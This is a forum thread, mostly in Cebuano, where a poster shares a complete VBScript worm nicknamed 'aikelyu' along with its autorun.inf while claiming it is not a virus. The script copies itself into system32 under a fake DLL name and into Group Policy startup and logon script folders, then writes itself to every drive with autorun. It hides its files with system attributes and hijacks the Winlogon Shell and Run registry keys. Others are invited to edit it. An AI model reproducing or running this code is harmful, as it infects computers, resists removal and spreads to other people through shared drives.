ahahaha!!! its not a virus mga bro.. its just a vbs script nga mo usab sa imong autorun.inf which will execute the file pooh.vbs.. i can give the script and edit it as you want with youre likings.. maybe edit it with patyon ta mo tanan.. ahahaha..
here it is the inf.:
just edit any autorun.inf eg. USB flash drives or sa imong kaogalingong harddisk.
pero kani akong gihatag ninyo kay ang script lng ni ha walay labot ang worm na mo automatic edit sa inyong *.inf..
Code:
[autorun]
shellexecute=wscript.exe pooh.vbs
next is the VBS:
Code:
'Ngaran Ko Aikelyu! Bulos Waray Waray!!!
on error resume next
dim mysource
dim path
dim fdrive
dim fs
dim pf
dim infdrive
dim bf
dim rg
dim nt
dim sd
dim check
dim msgnp
dim inigpfolder_p
dim inigpfolder_t
dim text,size
infdrive = "[autorun]"&vbcrlf&"shellexecute=wscript.exe pooh.vbs"
msgnp = "<html>"&vbcrlf&"<head></head>"&vbcrlf&"<title>Aikelyu</title>"&vbcrlf&"<body bgcolor=black>"&vbcrlf&"<font color=red size=+5>"&vbcrlf&"<center>"&vbcrlf&"<b>"&vbcrlf&"<aikelyu>'Jayker' PogitosGwaposAmigosGarantisadosGalantis Kaayos!!</aikelyu>"&vbcrlf&"</b>"&vbcrlf&"</center>"&vbcrlf&"</font>"&vbcrlf&"</body>"&vbcrlf&"</html>"
inigpfolder_p = ""&vbcrlf&"[Startup]"&vbcrlf&"0CmdLine=pooh.vbs"&vbcrlf&"0Parameters="&vbcrlf&"[Shutdown]"&vbcrlf&"0CmdLine=pooh.vbs"&vbcrlf&"0Parameters="
inigpfolder_t = ""&vbcrlf&"[Logon]"&vbcrlf&"0CmdLine=pooh.vbs"&vbcrlf&"0Parameters="&vbcrlf&"[Logoff]"&vbcrlf&"0CmdLine=pooh.vbs"&vbcrlf&"0Parameters="
set fs = createobject("Scripting.FileSystemObject")
set pf = fs.getfile(Wscript.ScriptFullname)
set text=pf.openastextstream(1,-2)
size = pf.size
check = pf.drive.drivetype
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set path = fs.getspecialfolder(0)
set bf = fs.getfile(path &"\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\kernel.dll.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\system32\kernel.dll.vbs")
bf.attributes = 39
bf.close
'Startup
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\Startup\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\Machine\Scripts\Startup\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\Startup\pooh.vbs")
bf.attributes = 39
bf.close
'Shutdown
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\Shutdown\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\Machine\Scripts\Shutdown\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\Shutdown\pooh.vbs")
bf.attributes = 39
bf.close
'Logon
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\Logon\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\User\Scripts\Logon\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\Logon\pooh.vbs")
bf.attributes = 39
bf.close
'Logoff
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\Logoff\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\User\Scripts\Logoff\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\Logoff\pooh.vbs")
bf.attributes = 39
bf.close
set bf=fs.getfile(path &"\system32\aikelyu.html")
bf.attributes = 32
set bf=fs.createtextfile(path &"\system32\aikelyu.html",2,true)
bf.write msgnp
set bf=fs.getfile(path &"\system32\aikelyu.html")
bf.attributes = 39
bf.close
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\scripts.ini")
bf.attributes=32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\Machine\Scripts\scripts.ini",2,true)
bf.write inigpfolder_p
set bf=fs.getfile(path &"\system32\GroupPolicy\Machine\Scripts\scripts.ini")
bf.attributes=39
bf.close
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\scripts.ini")
bf.attributes=32
set bf=fs.createtextfile(path &"\system32\GroupPolicy\User\Scripts\scripts.ini",2,true)
bf.write inigpfolder_t
set bf=fs.getfile(path &"\system32\GroupPolicy\User\Scripts\scripts.ini")
bf.attributes=39
bf.close
set bf=fs.getfile(path &"\Debug\pooh.vbs")
bf.attributes=32
set bf=fs.createtextfile(path &"\Debug\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(path &"\Debug\pooh.vbs")
bf.attributes=39
bf.close
for each fdrive in fs.drives
If (fdrive.drivetype = 1 or fdrive.drivetype = 2) and fdrive.path <> "A:" then
set bf=fs.getfile(fdrive.path &"\pooh.vbs")
bf.attributes = 32
set bf=fs.createtextfile(fdrive.path &"\pooh.vbs",2,true)
bf.write mysource
set bf=fs.getfile(fdrive.path &"\pooh.vbs")
bf.attributes = 39
bf.close
set bf =fs.getfile(fdrive.path &"\autorun.inf")
bf.attributes=32
set bf=fs.createtextfile(fdrive.path &"\autorun.inf",2,true)
bf.write infdrive
set bf =fs.getfile(fdrive.path &"\autorun.inf")
bf.attributes=39
bf.close
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Aikelyu",path&"\system32\aikelyu.html"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe "&path&"\system32\kernel.dll.vbs"
if check <> 1 then
Wscript.sleep 20000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run path&"\system32\aikelyu.html /e,/select, "&Wscript.ScriptFullname
save it as pooh.vbs....
pero kinahanglan naka deepfreeze moha....
Re: aikelyu virus... unsaon pag tang tang?
Originally Posted by potter_2005
Reply With Quote
Posting Permissions
